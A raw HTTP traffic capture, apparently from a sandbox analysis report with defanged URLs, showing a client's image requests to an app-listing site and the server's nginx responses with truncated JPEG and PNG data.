Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/jpeg
Content-Length: 2275
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-8e3"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C50CBA34D0FE11E2A837F7F58
4958E09" xmpMM:InstanceID="xmp.iid:C50CBA33D0FE11E2A837F7F584958E09" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.....................................!.......1"a2B34AQ.bc.............
........!..1A....a2...Qq."BR%.b#...3.$............?...3...y{....oT..w.
..W<.>V....*....e..,..X}P....O..d...<.......5MuV6.w.3....o/q$
Tb."*.[.K..J...h.....]..........\v.-I..f.$~...H.........Z.....U33\.7.J
.N.GA<-..-.....RK...L..}..........i..[.V.m.k.v.T..ze.b[.u..2...6"..
..).q....?.:.n#t&..g..`.."*.D.;.. ..1'..2...L.*....eTIW.LOtaAO.`&l
<<< skipped >>>

GET /images/5.0stars.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/jpeg
Content-Length: 2286
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-8ee"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:E712C81ACD1411E29568FF5E7
C4F2C36" xmpMM:InstanceID="xmp.iid:E712C819CD1411E29568FF5E7C4F2C36" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.....................................!..."..12BA&Qq.b3c...............
......!...1A..a2....Q"B%q.R.#.b.$..............?....3s....b.v..Q@...\g
.F^.v.G.`$.*.yAiX.........?o.%<........OST.n.m...:?.Q.W2EF*"".....F
./.....w.tl.!..=..I-J.U^J.R.Y...y.j.B.}Z"_S..0.~..xT.f.Q..W"x.:...X>
;.O/../.%zO.......f.~x*.O..D.$X....w..ZJ..o)'.Kq.|.E..Qr.T2bPu..1..x?N
j...!59.yK...B"[email protected].$.u..dI&..Vg..2.$..&'..X..\<.....h....
<<< skipped >>>

GET /thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/png
Content-Length: 309779
Last-Modified: Thu, 13 Jun 2013 17:05:34 GMT
Connection: keep-alive
ETag: "51b9fbde-4ba13"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /thumbnails/icon/images/assets/5/d/5dbc29649669598ff43174b9ee730008.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5

GET /thumbnails/icon/images/assets/8/3/83a4cee7a59522b93ed0ae1fa73ce8f3.png HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/png
Content-Length: 48422
Last-Modified: Thu, 13 Jun 2013 18:07:09 GMT
Connection: keep-alive
ETag: "51ba0a4d-bd26"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................MiCCPPhotosho
p ICC profile..x..SwX...>..e.VB....l.."#[email protected]..
..H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.
. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....
ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v
.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."
...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[
..V.h..][email protected].<......%b..0..>[email protected].@...
...qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N.
...l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A......
........a.D@.$.<.B........A.T.:.............18....\..p..`........A.
..a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u
@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v..
..a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._
.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R..
.J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.
......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.
y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.
rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...
b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6.
.l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......
)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V
<<< skipped >>>

GET /thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/png
Content-Length: 87980
Last-Modified: Wed, 17 Jul 2013 14:24:28 GMT
Connection: keep-alive
ETag: "51e6a91c-157ac"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR...,...,.....y}.u....sBIT....|.d... .IDATx...y.%G}...E
.]...}....nI.F..$..`.`..x.m0.3.c......g..<.<0.....>oFlfl.`c..
,6.......Vw....Tu-w....GD........n.~....fFFDfe~...._.B8.l.Ww.=0r..u...
.W .....i....F[O.X....Z(.@...!I.W_..@[email protected];..]c...... .\.(64..".A.
. ..J....obw....z..m.o_vv..z(T Awg.!cmC;1....6|S.P...6....'........W.r
.^..8.h45R8..0.L.}.....:U.....0".b...{..^R....j.)^...:.$.<:....!...
 ;.. h..7..-..\......./..&T.&.w .....RG.h.Fc...*...w......yj._...sb...
4ZO.B.f.jE.W.qA9..Fs..r..(....m.x.k..........3......J:.R...6H..t......
ZQ^[email protected]..\Y,......Oo./0.....4...K....j%.W..824.{....:./)....z .^
.......qRh.?....6.........voL...2.'iA<.w%.........Z=...E.....Z..Wn.
..}[email protected];..h)...*{..........:8..LX.h..P...A..7}.2Pr.Fs
z,A.v.!..~....B.Qv..O.([email protected]@."...?..i..L0=X..B.jA.S.....h
MI.n.U..A.r..m....!.....b.....j....|;....V...I...NX....0.r.....D,j%]7.
w........3(..7..%....U.Z...?*b~].}....Rfr......55.N...................
.....fY.a..../...`...B5.......-c.c.k.$Qb....#W.u....A.@.(ADa. ".."...7
...`..SY..R.K...6.....,=Y....^t ;...h....b.<`[email protected].^..qdY....(.W.Z.
....t.C9...}..U..K..3../.....[..H.=..._.......x(e.W.4.....k....2 6....
...6.....uT....LpPoSJ...i.N.Z.........T:7.pScf.5..7>.2.F.IG......,.
...._u.....mAK..bZ....K....j5.V.2.B..$...8v..V....z-........$.NEI.<
..........[..tb.D2..W..*...E..XZ;.....xL.. [email protected].......#..
.. ....x@5...=.f....B..\'.%....*`]..^..F...D.Mb}[email protected]\..X.......
F ).b.e...V....mM.9....y8....F3.&...N.w.....V......E...*j...lJ..._
<<< skipped >>>

GET /images/4.0stars.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/jpeg
Content-Length: 2194
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-892"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" xmpMM:Documen
tID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA92C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA93C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.......................................!..."..12BAQa..b3c&............
..........!.1A...a2...Qq."B.%.Rb...#.$............?....3s....b.v..Q@..
.\g.F^.v.G.`$.*.yAiX...............Zy.UU..Q.j.....7.3......2.F*""...].
.d......w.tl.!..=..I-J.U^J.R.Y...y.j.B.}Z"_S..0.>..>.=.X8......Q
.O.....<.../....."..R.......X..|.;..!Fkm].....7..I...e.9.E%T\......
s!.D.......Q..a...]PF^..U&....)..1F..i..(.6.Z..%J.............n...
<<< skipped >>>

GET /thumbnails/icon/images/assets/3/d/3d8bbea6bcae57d705c676f7050a7d51.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/png
Content-Length: 78510
Last-Modified: Thu, 13 Jun 2013 18:01:40 GMT
Connection: keep-alive
ETag: "51ba0904-132ae"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;....iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpRights="hXXp://ns.adobe.com
/xap/1.0/rights/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:
stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http
://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocum
entID="uuid:DA79FEE2A7AEDE119DF29D3E787E68C0" xmpMM:DocumentID="xmp.di
d:CB40D9D25FE511E19EB9DC85DDB3BD07" xmpMM:InstanceID="xmp.iid:CB40D9D1
5FE511E19EB9DC85DDB3BD07" xmp:CreatorTool="Adobe Photoshop CS5 Macinto
sh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:02801174072068
1195FE8B2941CA8449" stRef:documentID="uuid:DA79FEE2A7AEDE119DF29D3E787
E68C0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&g
t; <?xpacket end="r"?>..h.....IDATx..}.|.....3.E.X.l..%W..`l...l
.......:..Jx....~..{.........I.`0...0..Nh6...,7Y].23.......jW[.]I.....
.)....{.....@ ........@ ..."....@ ........@ .@ ........@ ..."....@ ...
.....@ .@ ........@ ..."....@ ........@ .@ ........@ ..."....@ .......
.@ .@ ........@ ..."....@ .Kh..`...9}..4..qCqq.L.4..>.h.<y20..s.
.{x...}.v....... <..sp..w..../...y3...;./..Y....?a....=......6n..o.
..<..U.....~.&L. ...rAss3466..i.`...r....MMM....*....a..-0~.x..
<<< skipped >>>

GET /thumbnails/icon/images/assets/0/6/0692c2494a7331a77c05954f79c5480a.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5

GET /thumbnails/icon/images/assets/a/6/a6ae526a0a22dcfc743a66d44a3e09e3.png HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/png
Content-Length: 430688
Last-Modified: Thu, 13 Jun 2013 17:02:16 GMT
Connection: keep-alive
ETag: "51b9fb18-69260"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:36 GMT
Content-Type: image/png
Content-Length: 428661
Last-Modified: Thu, 13 Jun 2013 17:46:14 GMT
Connection: keep-alive
ETag: "51ba0566-68a75"
Expires: Wed, 15 Apr 2015 02:59:36 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;....iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:FD7F1174072068118C14E27DC24655EC" xmpMM:DocumentID="xmp.did:8786
860B6FBE11E195A29E3F354856C3" xmpMM:InstanceID="xmp.iid:8786860A6FBE11
E195A29E3F354856C3" xmp:CreatorTool="Adobe Photoshop CS6 (13.0 2012030
5.m.415 2012/03/05:21:00:00)  (Macintosh)"> <xmpMM:DerivedFrom s
tRef:instanceID="xmp.iid:FE7F1174072068118C14E27DC24655EC" stRef:docum
entID="xmp.did:FD7F1174072068118C14E27DC24655EC"/> </rdf:Descrip
tion> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
.hY....xIDATx...{...u.........2?..vb...qLk....$!.....r..mZ.........*..
...T.J.)...R.(.....ab.....I.43...n..}.......z.X._=c. .x..3....{...<
.Y......x]...u....:^..x}c].q....:^..x..#.8^..x...u........u....:^.....
..:^..x...u....x...u....:...u....:^..x....:^..x...u....x...u....:^G.p.
...:^..x..#.8^..x...u........u....:^.......:^..x...u....x...u....:...u
....:^..x....:^..x...u......y..y.......x....:^_zu.).....k...8e.....O.o
..x......q........_............*^{....x....... ..}.F......_8..f...
<<< skipped >>>

GET /thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5

GET /thumbnails/icon/images/assets/e/9/e94782c9200f8de809a50327879df1cc.png HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:36 GMT
Content-Type: image/png
Content-Length: 317939
Last-Modified: Thu, 13 Jun 2013 17:01:07 GMT
Connection: keep-alive
ETag: "51b9fad3-4d9f3"
Expires: Wed, 15 Apr 2015 02:59:36 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:36 GMT
Content-Type: image/png
Content-Length: 77988
Last-Modified: Sat, 15 Jun 2013 05:34:29 GMT
Connection: keep-alive
ETag: "51bbfce5-130a4"
Expires: Wed, 15 Apr 2015 02:59:36 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
